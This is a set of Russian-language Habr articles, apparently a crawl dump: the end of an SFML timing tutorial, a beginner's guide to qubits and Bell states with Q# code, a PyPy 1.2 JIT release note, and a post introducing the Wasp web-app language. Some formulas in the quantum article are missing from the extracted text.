sf::Time t2 = sf::milliseconds(10);
sf::Time t3 = sf::seconds(0.01f);
```
Заметьте, что все три значения времени равны.
Аналогично, sf:Time может быть обратно преобразован в секунды, милисекунды и микросекунды:
```
sf::Time time = ...;
sf::Int64 usec = time.asMicroseconds();
sf::Int32 msec = time.asMilliseconds();
float sec = time.asSeconds();
```
Играемся со временем
--------------------
sf::Time — это просто количество времени, поэтому этот класс поддерживает арифметические операции, такие как сложение, вычитание, умножение и так далее. Время так же может быть отрицательным.
```
sf::Time t1 = ...;
sf::Time t2 = t1 * 2;
sf::Time t3 = t1 + t2;
sf::Time t4 = -t3;
bool b1 = (t1 == t2);
bool b2 = (t3 > t4);
```
Измерение времени
-----------------
Теперь, когда мы увидели, как манипулировать значением времени в SFML, давайте посмотрим, как сделать то, в чем нуждается любая программа: измерение прошедшего времени.
В SFML есть очень простой класс, предназначенный для измерения времени: sf::Clock. В этом классе есть только два метода: getElapsedTime, предназначенный для получения времени с момента последнего перезапуска, и restart, предназначенный для перезапуска часов.
```
sf::Clock clock; // часы запускаются
...
sf::Time elapsed1 = clock.getElapsedTime();
std::cout << elapsed1.asSeconds() << std::endl;
clock.restart();
...
sf::Time elapsed2 = clock.getElapsedTime();
std::cout << elapsed2.asSeconds() << std::endl;
```
Помните, что метод restart также возвращает прошедшее время, так что вы можете избежать незначительной задержки, которая будет вызвана в случае, если getElapsedTimе вызывается перед restart.
Ниже приведен пример использования прошедшего времени для осуществления итераций цикла обновления игровой логики:
```
sf::Clock clock;
while (window.isOpen())
{
sf::Time elapsed = clock.restart();
updateGame(elapsed);
...
}
```
Следующая статье: [Потоки](https://habrahabr.ru/post/279653/ "Перейти к статье: Потоки"). | https://habr.com/ru/post/279347/ | null | ru | null |
# Квантовые вычисления и язык Q# для начинающих
Возможно, вы узнали о выпуске пакета средств квантовой разработки [Quantum Development Kit](http://www.microsoft.com/quantum) и подумали, что это звучит безумно круто… а потом вспомнили, что про квантовую механику почти ничего не знаете. Но ничего страшного. Через 30 минут вы будете знать о кубитах, суперпозиции и квантовой запутанности достаточно, чтобы написать свою первую программу и, что более важно, неплохо понимать, что она делает.
> Статьи из цикла:
> ----------------
>
>
>
> 1. [Квантовые вычисления и язык Q# для начинающих](https://habrahabr.ru/company/microsoft/blog/351622/)
> 2. [Введение в квантовые вычисления](https://habrahabr.ru/company/microsoft/blog/351624/)
> 3. [Квантовые цепи и вентили — вводный курс](https://habrahabr.ru/company/microsoft/blog/351628/)
> 4. [Основы квантовых вычислений: чистые и смешанные состояния](https://habrahabr.ru/company/microsoft/blog/351630/)
> 5. [Квантовая телепортация на языке Q#](https://habrahabr.ru/company/microsoft/blog/351632/)
> 6. [Квантовые вычисления: справочные материалы](https://habr.com/company/microsoft/blog/351634/)
>
Франчес — выпускница Имперского колледжа Лондона с научной степенью в области вычислительных технологий. Она написала свой дипломный проект, работая в подразделении Microsoft Research. Сейчас Франчес работает в Microsoft на должности инженера программных решений. Основные направления ее деятельности — машинное обучение, большие данные и квантовые вычисления.
> Содержание статьи
> -----------------
>
>
>
> * Повторим основы
> * Измеряем кубит
> * Квантовые вентили
> * Важные вентили
> * Несколько кубитов
> * Еще один важный вентиль
> * Состояние Белла
> * Пишем квантовую программу
> * Что дальше?
> * Приложение
> * Дополнительные материалы
>
Повторим основы
---------------
Если вы не программируете на самом низком уровне, то вполне можете забыть, что любые программы, по сути, лишь манипулируют нулями и единицами, которые хранятся в наших «классических» компьютерах. Этим нулям и единицам соответствуют дискретные бинарные состояния физических систем. Квантовые компьютеры работают с непрерывными диапазонами состояний. Отчасти их возможности обусловлены именно этим.
Классический бит может принимать только одно из двух состояний — «включено» или «выключено», как обычная лампа накаливания. Кубиты, основа квантовых компьютеров, больше похожи на светильник с регулировкой яркости.
Для записи двух состояний кубитов можно использовать обозначения бра и кет (обозначения Дирака), которые соответствуют следующим векторам:
С помощью линейной комбинации этих двух состояний можно выразить любое возможное сочетание векторов |0〉 и |1〉. В квантовой механике такое сочетание называется суперпозицией. Соответствующая запись в обозначениях Дирака будет выглядеть так:
|ψ⟩ = α |0〉 + β |1〉
Величины α и β связаны с вероятностями (с одним небольшим отличием — эти коэффициенты могут выражаться комплексными числами). Можно считать их действительными числами, но в этом случае помните, что они могут принимать отрицательные значения. Однако сумма их квадратов всегда равна 1.
Измеряем кубит
--------------
Квантовые состояния — странная штука. В результате измерения (или, как говорят, «в присутствии наблюдателя») кубит немедленно коллапсирует. Как это понимать? Предположим, кубит находится в состоянии суперпозиции. Если его измерить, то он примет одно конкретное значение — |0〉 или |1〉 (сразу оба результата одно измерение показать не может!). После измерения кубита коэффициенты α и β, которыми характеризовалось его предыдущее состояние, будут, по сути, утеряны.
Поэтому для описания измерений кубитов используется аппарат теории вероятностей. В общем случае вероятность того, что измерение состояния кубита покажет результат |0〉, равна , а вероятность получить состояние |1〉 равна . Рассмотрим пример. Пусть у нас есть следующий кубит:
Если мы будем измерять его состояние, то в 50 % случаев будем получать значение 0, потому что:
То есть после измерения он будет находиться в состоянии |0〉 (то есть α = 1, β = 0). По той же причине вероятность получить состояние 1 составляет 50 %. В этом случае после измерения кубит перейдет в состояние |1〉 (то есть α = 0, β = 1).
В первый раз все это сильно сбивает с толку (на второй, третий и четвертый раз ничего не изменится). Основная идея здесь заключается в том, что вероятностные квантовые состояния можно использовать для вычислений, и в некоторых случаях эта их квантовая «странность» позволяет получить системы с эффективностью выше классических. Теперь посмотрим, как эти кубиты можно использовать для вычислений, подобно классическим битам.
Квантовые вентили
-----------------
Вернемся пока к более привычным вещам. В классической теории вычислений для выполнения операций над битами используются логические вентили. Для манипуляций над кубитами применяются аналогичные конструкции — квантовые вентили. Например, вентиль NOT выполняет преобразования 0 → 1 и 1 → 0. Квантовый вентиль NOT похож на своего классического предка: он выполняет преобразования |0〉 → |1〉 и |1〉 → |0〉. Это значит, что после прохождения такого вентиля кубит из состояния α |0〉 + β |1〉 перейдет в состояние α |1〉 + β |0〉. Вентиль NOT можно записать в виде матрицы (X), которая меняет местами 0 и 1 в матрице состояния:
Как видим, X|0〉 = |1〉, а X|1〉 = |0〉:
Поскольку |0〉 и |1〉 в векторной форме записываются как  и , первый столбец матрицы X можно рассматривать как преобразование вектора |0〉, а второй — как преобразование вектора |1〉.
Казалось бы, отличие от классического случая не столь велико. Но не забывайте, о чем мы говорили в предыдущем разделе: измерение состояния кубита носит вероятностный характер. Как известно из элементарной теории вероятностей, сумма вероятностей полной группы несовместных событий равна единице. Поэтому  для квантового состояния α |0〉 + β |1〉.
Отсюда следует, что в квантовом мире могут существовать не все мыслимые вентили. Вот одно из ограничений: условие нормализации квантового состояния кубита, , должно соблюдаться как до прохождения вентиля, так и после него. В терминах матричной алгебры это условие будет выполнено в том случае, если матрица является унитарной.
Я постараюсь объяснить, что означает математическое понятие унитарности. Если прочитать его достаточно быстро, вы просто окажетесь на следующем предложении. Вентиль называется унитарным, если  получена путем транспонирования и комплексного сопряжения  и является единичной матрицей ранга 2. Если говорить человеческим языком, это означает, что преобразование не меняет длину вектора. Если длина вектора не меняется со временем, то сумма всех вероятностей неизменно равна единице, или 100 % (как и должно быть). Выкладки, в результате которых сумма всех вероятностей оказывается равной 200 % или 25 %, были бы лишены смысла. Унитарные матрицы защищают по крайней мере от такого безумия (хотя в квантовом мире его остается предостаточно).
Хорошие новости: это ограничение является единственным. Ввиду этого условия у некоторых классических вентилей нет квантового аналога, однако и у некоторых квантовых вентилей нет классического прототипа. Далее мы разберем важнейшие из квантовых вентилей.
Важные вентили: вентиль Z и вентиль Адамара
-------------------------------------------
Описанные ниже вентили будут использоваться в нашей первой квантовой программе, поэтому постарайтесь их запомнить. Вентиль Z работает очень просто: он сохраняет компонент |0〉 и меняет знак компонента |1〉. Его можно записать в виде матрицы
которая преобразует состояния кубитов следующим образом: |0〉 → |0〉, |1〉 → -|1〉 (помните, что первый столбец матрицы описывает преобразование вектора |0〉, второй — преобразование вектора |1〉).
Вентиль Адамара создает суперпозицию состояний |0〉 и |1〉, подобных рассмотренным выше. Его матричная запись выглядит так:
что соответствует следующим преобразованиям состояний кубитов: , 
Более подробная информация об унитарных матрицах и о способах наглядного представления вентилей приводится в ресурсах, ссылки на которые содержатся в разделе «Дополнительные материалы».
Несколько кубитов
-----------------
Рассмотрим нечто более привычное. Классические биты существуют не только поодиночке, но и в виде сочетаний: например, 00, 01, 10 и 11. В квантовых вычислениях используются аналогичные комбинации: |00〉, |01〉, |10〉 и |11〉. Состояние двух кубитов можно описать с помощью следующего вектора:
Как и раньше, вероятность получить в результате измерения величину 00 равна ,
для 01 вероятность равна  и т. д.
Допустим теперь, что мы хотим измерить состояние не обоих кубитов, а только первого. Вероятность получить при этом 0 равна . Как мы помним, измерение меняет состояние, поэтому после него вектор будет иметь значение
Обратите внимание на числитель: мы убрали все слагаемые, для которых первый бит равен 1 (поскольку по условию результат измерения равен 0). Для того чтобы вектор описывал допустимое квантовое состояние, необходимо, чтобы квадрат сумм амплитуд был равен единице (как до, так и после преобразования). Чтобы это условие выполнялось, мы добавляем нормировочный множитель — величину, обратную квадратному корню из определителя.
Еще один важный вентиль
-----------------------
Работу вентиля NOT мы уже разобрали. Следующий на очереди — вентиль CNOT (controlled-NOT, «управляемое НЕ»). На его вход подается два кубита. Первый называется управляющим, второй — управляемым. Если управляющий кубит равен |0〉, то состояние управляемого кубита не меняется. Если управляющий кубит равен |1〉, то к управляемому кубиту применяется операция NOT.
Операцию CNOT можно интерпретировать несколькими способами. Подобно вентилям X, Z и H, ее можно записать в матричной форме, которая обозначается буквой U.
Можно заметить, что столбцы матрицы соответствуют следующим преобразованиям: |00〉 → |00〉, |01〉 → |01〉, |10〉 → |11〉, |11〉 → |10〉. Как и матрицы, которые мы разобрали в , она является унитарной, а значит, .
Также для этого вентиля используется следующее обозначение (верхняя часть соответствует управляющему кубиту, нижняя — управляемому):
Выглядит как экспонат выставки современного искусства.
Состояния Белла
---------------
Этой важной теме стоит посвятить целый раздел. Всего существует четыре состояния Белла. Одно из них (|ϕ+⟩) будет использоваться в квантовой программе ниже. Давайте его рассмотрим.
Допустим, мы измеряем состояние первого кубита. Результат |0〉 мы получим с вероятностью . Это означает, что состояние после измерения |ψ’ ⟩ = |00〉, или |1〉 с той же вероятностью (0,5), а состояние после измерения |ψ’ ⟩ = |11〉. Для любознательных приводим полный набор состояний Белла (они представляют собой простейшие случаи квантовой запутанности):
Теперь предположим, что мы измерили состояние второго кубита. Согласно тем же рассуждениям, после измерения пара будет находиться в состоянии |00〉 или |11〉. Если после этого мы решим измерить состояние первого кубита, вероятности уже не будут равны 0,5. Мы получим |0〉 с вероятностью 1 или 0 — в зависимости от того, каким был результат измерения. Здесь важно понять, что эти результаты связаны между собой. Первыми это заметили Альберт Эйнштейн, Борис Подольский и Натан Розен (поэтому эти состояния иногда называют «парами ЭПР»). Впоследствии их теорию развил Джон Белл.
И последнее наблюдение: состояния Белла можно генерировать с помощью вентиля Адамара и вентиля CNOT. По-моему, это достойно восхищения. Вентиль Адамара переводит первый кубит в состояние суперпозиции. Затем этот кубит подается на управляющий вход вентиля CNOT. Вот как этот процесс можно представить с помощью диаграммы цепи:
Чтобы узнать подробнее, как работает каждое из этих преобразований, обратитесь к дополнительным материалам (список приводится ниже). Мы уже знаем о состояниях кубитов, квантовых вентилях и состояниях Белла достаточно, чтобы написать нашу первую программу с использованием кубитов.
Пишем квантовую программу
-------------------------
Мы будем следовать инструкциям из [документации](https://docs.microsoft.com/en-us/quantum/quantum-writeaquantumprogram?view=qsharp-preview).
Это учебное руководство поможет вам выполнить следующие действия: установить пакет разработки квантовых программ (этапы 1–2), выделить кубит и выполнить над ним ряд простых манипуляций — например, установить его в некоторое состояние и измерить его (этапы 3–5), затем перевести кубит в состояние суперпозиции (этап 6), а после этого преобразовать два кубита в запутанное состояние — состояние Белла, или пару ЭПР (этап 7).
Рекомендуется следовать инструкциям из руководства, ссылка на которое приведена выше, и возвращаться к этому материалу, если вам нужны советы или дополнительные пояснения.
Этап 1. Создание проекта и решения
----------------------------------
Q# находится в нижней части этого списка.
Этап 2 (необязательный). Обновление пакетов NuGet
-------------------------------------------------
Мы последовали этому совету, но делать это необязательно, особенно если вы любите рисковать.
Этап 3. Ввод кода Q#
--------------------
```
namespace Quantum.Bell
{
open Microsoft.Quantum.Primitive;
open Microsoft.Quantum.Canon;
operation Set (desired: Result, q1: Qubit) : ()
{
body
{
let current = M(q1);
if (desired != current)
{
X(q1);
}
}
}
}
```
Эта операция переводит наш кубит в выбранное (нами) состояние — 0 или 1. Вначале мы измеряем кубит (эта операция обозначается буквой M), и он коллапсирует в состояние 0 или 1. Если измеренное состояние не соответствует желаемому, мы меняем его с помощью вентиля NOT, X. В противном случае ничего делать не надо.
```
operation BellTest (count : Int, initial: Result) : (Int,Int)
{
body
{
mutable numOnes = 0;
using (qubits = Qubit[1])
{
for (test in 1..count)
{
Set (initial, qubits[0]);
let res = M (qubits[0]);
// Count the number of ones we saw:
if (res == One)
{
set numOnes = numOnes + 1;
}
}
Set(Zero, qubits[0]);
}
// Return number of times we saw a |0> and number of times we saw a |1>
return (count-numOnes, numOnes);
}
}
```
Этот небольшой фрагмент кода предназначен для тестирования операции, которую мы только что написали. Это очень простая программа: она проверяет, что кубит был переведен в нужное нам состояние.
Для этого она в цикле проводит измерение и подсчитывает количество результатов 1 с помощью переменной numOnes.
Запись «Qubit[1]» означает «создать массив кубитов из одного элемента». Индексация элементов массива ведется с нуля. Чтобы выделить два кубита (позже нам потребуется это сделать), нужно записать «Qubit[2]». Кубитам в таком массиве соответствуют номера 0 и 1.
В цикле for мы устанавливаем кубит, выделенный для определенного начального состояния, — One или Zero (в файле **Driver.cs**, к которому мы скоро перейдем, это делается в явном виде). Мы измеряем это состояние, и если это One, увеличиваем значение счетчика на единицу. Затем функция возвращает количество наблюдаемых состояний One и Zero. В конце кубит переводится в состояние Zero (просто чтобы оставить его в некотором известном состоянии).
Этап 4. Ввод кода драйвера C#
-----------------------------
```
using (var sim = new QuantumSimulator())
{
// Try initial values
Result[] initials = new Result[] { Result.Zero, Result.One };
foreach (Result initial in initials)
{
var res = BellTest.Run(sim, 1000, initial).Result;
var (numZeros, numOnes) = res;
System.Console.WriteLine(
$"Init:{initial,-4} 0s={numZeros,-4} 1s={numOnes,-4}");
}
}
System.Console.WriteLine("Press any key to continue...");
System.Console.ReadKey();
```
В этом драйвере создается квантовый симулятор и массив начальных значений, которые нужно проверить (Zero и One). Затем симуляция повторяется 1000 раз, а результат для отладки выводится на экран с помощью функции System.Console.WriteLine.
Этап 5. Сборка и выполнение
---------------------------
`Init:Zero 0s=1000 1s=0
Init:One 0s=0 1s=1000
Press any key to continue...`
Если все в порядке, вывод на экран должен выглядеть так, как показано выше. Этот результат означает, что если мы переведем начальный кубит в состояние Zero и проведем тысячу повторов, то количество состояний |0〉 по результатам наблюдения будет равно 1000. То же самое должно выполняться для состояния One.
Этап 6. Создание суперпозиции
-----------------------------
Попробуем нечто более интересное. Здесь мы меняем состояние кубита с помощью вентиля NOT.
```
X(qubits[0]);
let res = M (qubits[0]);
```
Затем запускаем программу заново и видим, что результаты стали обратными.
`Init:Zero 0s=0 1s=1000
Init:One 0s=1000 1s=0`
Затем вентиль NOT заменяем на вентиль Адамара (H). В результате, как мы знаем, кубит перейдет в суперпозицию состояний, и результат его измерения может быть равен как |0〉, так и |1〉, с некоторой вероятностью.
```
H(qubits[0]);
let res = M (qubits[0]);
```
Если запустить программу снова, мы получим довольно интересный результат.
`Init:Zero 0s=484 1s=516
Init:One 0s=522 1s=478`
Количество результатов измерений |0〉 и |1〉 будет примерно равно.
Шаг 7. Подготовка запутанного состояния
---------------------------------------
Сейчас мы создадим состояние Белла. Изучите приведенный ниже код. Вначале мы создаем массив из двух кубитов (Qubit[2]). Первый кубит (на предыдущей диаграмме цепи он обозначался символом x) мы переводим в некоторое начальное состояние, а второй (y на диаграмме) устанавливаем в состояние Zero. Это примерно то же самое, что ввод |00〉 либо |10〉 в зависимости от X:
```
operation BellTest (count : Int, initial: Result) : (Int,Int)
{
body
{
mutable numOnes = 0;
using (qubits = Qubit[2])
{
for (test in 1..count)
{
Set (initial, qubits[0]);
Set (Zero, qubits[1]);
H(qubits[0]);
CNOT(qubits[0],qubits[1]);
let res = M (qubits[0]);
// Count the number of ones we saw:
if (res == One)
{
set numOnes = numOnes + 1;
}
}
Set(Zero, qubits[0]);
Set(Zero, qubits[1]);
}
// Return number of times we saw a |0> and number of times we saw a |1>
return (count-numOnes, numOnes);
}
}
```
В соответствии с диаграммой первый кубит, qubits[0], нужно пропустить через вентиль Адамара. В результате он окажется в суперпозиции. Затем пропускаем кубиты через вентиль CNOT (qubits[0] — управляющий кубит, qubits[1] — управляемый) и измеряем результат.
Чтобы понять, какой результат следует ожидать, повторим еще раз, как работает наше состояние Белла. Если измерить первый кубит, мы получим значение |0〉 с вероятностью . Это значит, что состояние после измерения |ψ’ ⟩ = |00〉 или |1〉 с одинаковыми вероятностями (0,5), а состояние после измерения |ψ’ ⟩ = |11〉. Таким образом, результат измерения состояния второго кубита будет равен |0〉, если первый кубит находился в состоянии |0〉, и |1〉, если первый кубит был в состоянии |1〉. Если состояния двух кубитов были успешно запутаны, то наши результаты должны показывать, что первый и второй кубит находятся в одинаковых состояниях.
В нашем коде мы проверяем, равен ли результат измерения qubits[1] результату измерения qubits[0], с помощью оператора if.
```
operation BellTest (count : Int, initial: Result) : (Int,Int,Int)
{
body
{
mutable numOnes = 0;
mutable agree = 0;
using (qubits = Qubit[2])
{
for (test in 1..count)
{
Set (initial, qubits[0]);
Set (Zero, qubits[1]);
H(qubits[0]);
CNOT(qubits[0],qubits[1]);
let res = M (qubits[0]);
if (M (qubits[1]) == res)
{
set agree = agree + 1;
}
// Count the number of ones we saw:
if (res == One)
{
set numOnes = numOnes + 1;
}
}
Set(Zero, qubits[0]);
Set(Zero, qubits[1]);
}
// Return number of times we saw a |0> and number of times we saw a |1>
return (count-numOnes, numOnes, agree);
}
}
```
Перед тем как проверить результаты, нужно внести в файл Driver.cs еще одно изменение: добавить переменную agree.
```
using (var sim = new QuantumSimulator())
{
// Try initial values
Result[] initials = new Result[] { Result.Zero, Result.One };
foreach (Result initial in initials)
{
var res = BellTest.Run(sim, 1000, initial).Result;
var (numZeros, numOnes, agree) = res;
System.Console.WriteLine(
$"Init:{initial,-4} 0s={numZeros,-4} 1s={numOnes,-4} agree={agree,-4}");
}
}
System.Console.WriteLine("Press any key to continue...");
System.Console.ReadKey();
```
Теперь программу можно запускать. Что означают эти результаты? Если первый кубит изначально был помещен в состояние Zero (то есть на вход мы подали значение |00〉), то вентиль Адамара переводит кубиты в состояние суперпозиции, и результат измерения равен |0〉 в 50 % случаев и |1〉 в 50 % случаев. Выполнение этого условия можно оценить по количеству нулей и единиц. Если бы измерение состояния первого бита не влияло на состояние второго, то оно оставалось бы равным |0〉, и согласованность достигалась бы только в 499 случаях.
Но, как мы видим, состояния первого и второго кубита полностью согласуются: количество результатов |0〉 и |1〉 (примерно) совпадают. Таким образом, результаты согласованы в каждом из 1000 случаев. Именно так и должны работать состояния Белла.
`Init:Zero 0s=499 1s=501 agree=1000
Init:One 0s=490 1s=510 agree=1000`
На этом мы закончим. Вы написали свою первую квантовую программу и (раз уж вы добрались до конца), вероятно, поняли, что именно она делает. Это стоит отметить хорошей чашкой чая.
Что дальше?
-----------
В репозитории [GitHub](https://github.com/Microsoft/Quantum/tree/master/Samples) доступно множество примеров.
В следующей статье мы поговорим о теории квантовой телепортации и изучим пример кода.
Квантовые вентили рассматриваются подробнее в [блоге Аниты](https://blogs.msdn.microsoft.com/uk_faculty_connection/2018/02/06/introduction-to-quantum-computing/) (примечание: Анита просто потрясающая).
Дополнительные материалы
------------------------
Если вы хотите углубиться в рассмотренные темы, ниже приводится список ресурсов, которые были для нас очень полезными. Первый из них — книга «Квантовые вычисления и квантовая информация» (М. Нильсен, И. Чанг). Второй — [документация](https://docs.microsoft.com/en-us/quantum/quantum-concepts-1-intro?view=qsharp-preview) к пакету SDK от Microsoft.
Если это будет интересно читателям (оставьте комментарий!), мы можем составить отдельную публикацию о других ресурсах.
Приложение. Состояния Белла
---------------------------
Генерировать состояния Белла можно с помощью вентиля Адамара и вентиля CNOT. Вентиль Адамара переводит первый кубит в состояние суперпозиции. Затем этот кубит подается на управляющий вход вентиля CNOT. На диаграмме цепи это выглядит так:
Начнем с первого случая, когда на вход подается пара кубитов в состоянии |00〉. Первый кубит, |0〉, проходит через вентиль Адамара и превращается в . Второй кубит при этом не меняется. Результат:
Затем кубиты проходят через вентиль CNOT (который выполняет преобразования |00〉 → |00〉 и |10〉 → |11〉). Теперь их состояние будет описываться формулой
Второй случай: на вход подаются кубиты |01〉. Вентиль Адамара переводит первый кубит |0〉 в состояние . Второй кубит не меняется. Результат:
Теперь пропустим кубиты через вентиль CNOT, который выполняет преобразования |01〉 → |01〉 и |11〉 → |10〉. Итоговое состояние пары кубитов будет выглядеть так:
Третий случай: на вход подаются кубиты |10〉. Вентиль Адамара переводит первый кубит |1⟩ в состояние . Второй кубит не меняется. Результат:
Затем кубиты проходят через вентиль CNOT (который выполняет преобразования |00〉 → |00〉 и |10〉 → |11〉). Теперь их состояние будет описываться формулой
Четвертый случай: на вход подаются кубиты |11〉. Вентиль Адамара переводит первый кубит |1⟩ в состояние . Второй кубит не меняется. Результат:
Теперь пропустим кубиты через вентиль CNOT, который выполняет преобразования |01〉 → |01〉 и |11〉 → |10〉. Итоговое состояние пары кубитов будет выглядеть так:
Готово, мы разобрали все случаи. | https://habr.com/ru/post/351622/ | null | ru | null |
# Вышел PyPy 1.2 и ускорил Python в разы!
Вышел [PyPy](http://pypy.org/) 1.2. Основное отличие — наличие *JIT компилятора*.
Чтобы долго не объяснять что это и зачем — простой тест:
```
cnt = 10 * 1000 * 1000
for _ in xrange(cnt):
i = i + 1
```
**5.8млн** операций сложения в секунду на обычном СPython 2.6 (`python test.py`)
**42.5млн** операций в секунду на PyPy 1.2 (`pypy test.py`)
WinXP SP3, Core2Duo.
Да, **в 7 раз быстрее** он тест сделал! И это не только на синтетическом тесте: «django» в 3 раза быстрее, «n-body» в 7 раз быстрее… Я не знаю что такое тест «richards», но он теперь вообще в почти 12 раз быстрее. [Смотрите результаты сами](http://speed.pypy.org/overview/).
[Читать](http://morepypy.blogspot.com/2010/03/introducing-pypy-12-release.html) и [**качать**](http://pypy.org/download.html) (из раздела "«JIT compiler» version"). 64-bit версии пока нет. *А unladen-swallow нервно курит...* Под катом еще несколько невероятностей (stackless, «песочница для python кода»)..
В архивах их имеется также stackless версия… и главное sandbox версия! Это версия, которая решает давнюю проблему Python'a — отсутствие безопасной среды для исполнения кода, которому мы не доверяем. Внешний код на C и даже не позволит сделать `os.listdir('/')`, если я правильно понял намек авторов. [Качается там же](http://pypy.org/download.html), где и обычная.
Лично я вообще на PyPy смотрел как на странный эксперимент — Python и так не сказать что супер-быстрый, а писать его интерпретатор на самом же Python казалось просто ~~извра~~ странным развлечением авторов… Однако с введением JIT это стало чем-то невероятным по скорости.
Авторы говорят о том, что в этой версии крэшей не наблюдается, но тем не менее просят все равно относиться к этой версии как к бете.
Кроме того авторы предупреждают, что из-за использования JIT пока что трудно контроллировать количество памяти, которую этот Python скушает. Но тут по сути «speed-memory tradeoff» в чистом виде получается.
Для меня, как большого фаната Python, да и для языка в целом — это просто настоящий прорыв. Теперь буду плотно следить за их развитием. Есть конечно в нем и тесты, по которым CPython выигрывает, но их значительно меньше, чем те, по которым проигрывает. Да и выигрыш не просто там 10-20%, а в 3x, 5x, 8x раз! В общем, звучит невероятно, но ребята из PyPy изобрели V8 но для Python'а.
**Как пользоваться?**
[Скачать](http://pypy.org/download.html), распаковать, вместо `python ваш-скрипт.py` запустить `pypy ваш-скрипт.py`
Йои Хаджи,
[вид с Хабра](http://yoihj.habrahabr.ru/blog/) | https://habr.com/ru/post/87364/ | null | ru | null |
# Создать свой язык программирования, попасть в YCombinator с третьего раза и провести 250+ встреч с инвесторами
Последние полтора года мы с моим братом-близнецом работали над Wasp: новым языком программирования для разработки полнофункциональных веб-приложений с меньшим количеством кода.
Wasp — это простой декларативный язык, который упрощает разработку веб-приложений и при этом позволяет использовать новейшие технологии, такие как React, Node.js и Prisma.
В этом посте я расскажу вам, почему мы считаем, что Wasp может стать большой вещью для веб-разработки, как он работает, где мы сейчас находимся и каковы планы на будущее.
### Почему Wasp?
Вы знаете, как использовать React, разбираетесь в HTML/CSS/..., умеете писать бизнес-логику на бэкенде (например, в Node), но когда вы хотите создать настоящее веб-приложение и развернуть его для использования другими, вы тонете во всех деталях и дополнительной работе — отзывчивый пользовательский интерфейс, правильная обработка ошибок, безопасность, билды, развертывание, аутентификация, управление состоянием сервера на клиенте, управление базой данных, различные среды,…
Хосе Агинага весело описал неожиданную сложность разработки веб-приложений в своем блоге в статье "[Каково это — изучать JavaScript в 2016 году](https://habr.com/ru/post/312022/)", которая по-прежнему актуальна 4 года спустя.
Мы создаем Wasp, потому что, хотя мы оба опытные разработчики и работали над множеством сложных веб-приложений на различных технологиях (JQuery -> Backbone -> Angular -> React, собственные скрипты / makefile -> Grunt -> Gulp -> Webpack, PHP -> Java -> Node.js, ...), мы все еще чувствуем, что создавать веб-приложения сложнее, чем должно быть, из-за большого количества шаблонов и повторяющейся работы, вовлеченной в процесс.
Главным открытием для нас стало то, что в то время как технологический стек продолжает быстро развиваться, основные требования к приложениям в основном остаются прежними (авторизация, маршрутизация, модель данных CRUD, ACL, ...).
Именно поэтому почти 2 года назад мы начали думать о разделении спецификации веб-приложения (что оно должно делать) и его реализации (как оно должно это делать).
Это привело нас к идее извлечения общих функций и концепций веб-приложений в специальный язык спецификации (Wasp), в то время как детали реализации по-прежнему описываются с помощью современного стека (сейчас это React, Node.js, Prisma).
Наше видение Wasp заключается в создании мощного, но простого языка, на котором вы можете описать свое веб-приложение как можно более человеческим языком. Мы хотим сделать верхнюю часть айсберга на картинке выше как можно более приятной, в то время как нижняя часть должна быть гораздо меньше.
На таком языке, с помощью всего нескольких слов, вы можете указать страницы и их маршруты, указать, какой тип аутентификации вы хотите, определить основные сущности / модели данных, описать основной поток данных, выбрать, где вы хотите развернуть приложение, реализовать конкретные детали в React/Node, и пусть Wasp позаботится о соединении всего этого, билда и развертывании.
Полный пример смотрите [здесь](https://github.com/wasp-lang/wasp/blob/master/examples/tutorials/TodoApp/main.wasp).
### Почему именно язык (DSL), разве фреймворки уже не решают эту проблему?
Фреймворки (например, Ruby on Rails или Meteor) нас очень вдохновляют. Однако мы хотим сделать еще один шаг вперед — разработав язык, специализированный для веб-приложений (DSL), мы можем избавиться от большого количества шаблонов и обеспечить более чистый и простой опыт разработчика.
С другой стороны, мы не пытаемся заменить все на Wasp и не думаем, что это имело бы смысл — как раз наоборот, Wasp действует как «клей» между вашим React и Node.js кодом, избавляя вас от тяжелой работы и позволяя вам сохранить гибкость написания собственного кода. Большая часть кода по-прежнему пишется на React и Node.js, а Wasp служит основой всего вашего приложения.
Еще одно преимущество DSL заключается в том, что он позволяет Wasp понимать требования веб-приложения во время сборки и рассуждать о них до генерации окончательного кода, и это то, чему мы особенно рады.
Например, при генерации кода для развертывания в продакшн он может выбрать наиболее подходящую архитектуру на основе своего понимания веб-приложения и развернуть его на бессерверной или другой архитектуре (или даже в комбинации). Другим примером может быть повторное использование логики модели данных во всех частях стека, в то время как в Wasp она определяется всего один раз.
DSL открывает потенциал для оптимизации, статического анализа, расширяемости и беспрецедентной эргономики.
### Как это работает?
Компилятор Wasp компилирует исходный код .wasp/React/Node.js в код React/Node.js.
В настоящее время Wasp поддерживает только Javascript, но мы планируем добавить Typescript в ближайшее время.
Техническое примечание: компилятор Wasp реализован на языке Haskell.
*Диаграмма компиляции Wasp*
Хотя сейчас поддерживаются только React и Node.js, в будущем мы планируем поддерживать множество других технологий.
Сгенерированный код является человекочитаемым и может быть легко проверен и даже выброшен, если Wasp становится слишком ограничивающим. Если код не инжектится, вам не нужно смотреть на сгенерированный код — он генерируется Wasp'ом в фоновом режиме.
Wasp используется через wasp CLI — чтобы запустить проект `wasp` в режиме разработки, достаточно выполнить `wasp start`.
### Где сейчас Wasp и куда он движется?
Наша большая идея — перенести как можно больше знаний о домене веб-приложений в сам язык Wasp, что даст Wasp больше возможностей и гибкости.
В конечном итоге, поскольку Wasp будет иметь такое глубокое понимание требований веб-приложения, мы сможем создать на его основе визуальный редактор, позволяющий не разработчикам участвовать в разработке наряду с разработчиками.
Кроме того, Wasp не будет привязан к конкретной технологии, а будет поддерживать несколько технологий (React/Angular/..., Node/Go/...\*\*.
В настоящее время Wasp находится в стадии Alpha, и некоторые функции еще не доработаны или отсутствуют, есть вещи, которые мы еще не решили, и другие, которые, вероятно, будут меняться по мере нашего развития, но вы можете попробовать его и создавать и развертывать веб-приложения!
Что Wasp поддерживает в настоящее время:
* полнофункциональный аутентификатор (email и пароль)
* страницы и маршрутизация
* стирает грань между клиентом и сервером — определяйте действия и запросы сервера и вызывайте их непосредственно в коде клиента (RPC)!
* интеллектуальное кэширование серверных действий и запросов (автоматическое аннулирование кэша)
* определение сущностей (модели данных) с помощью Prisma.io
* ACL на фронтенде
* импорт зависимостей NPM
Что будет дальше:
* ACL на бэкенде
* развертывание одним кликом
* больше методов авторизации (Google, Linkedin, ...\*\*)
* более тесная интеграция сущностей с другими функциями
* темизация
* поддержка явно определенного API сервера
* inline JS — возможность смешивать JS-код с кодом Wasp!
* поддержка Typescript
* рендеринг на стороне сервера
* визуальный редактор
* поддержка различных языков на бэкенде
* более богатый язык wasp с лучшим инструментарием
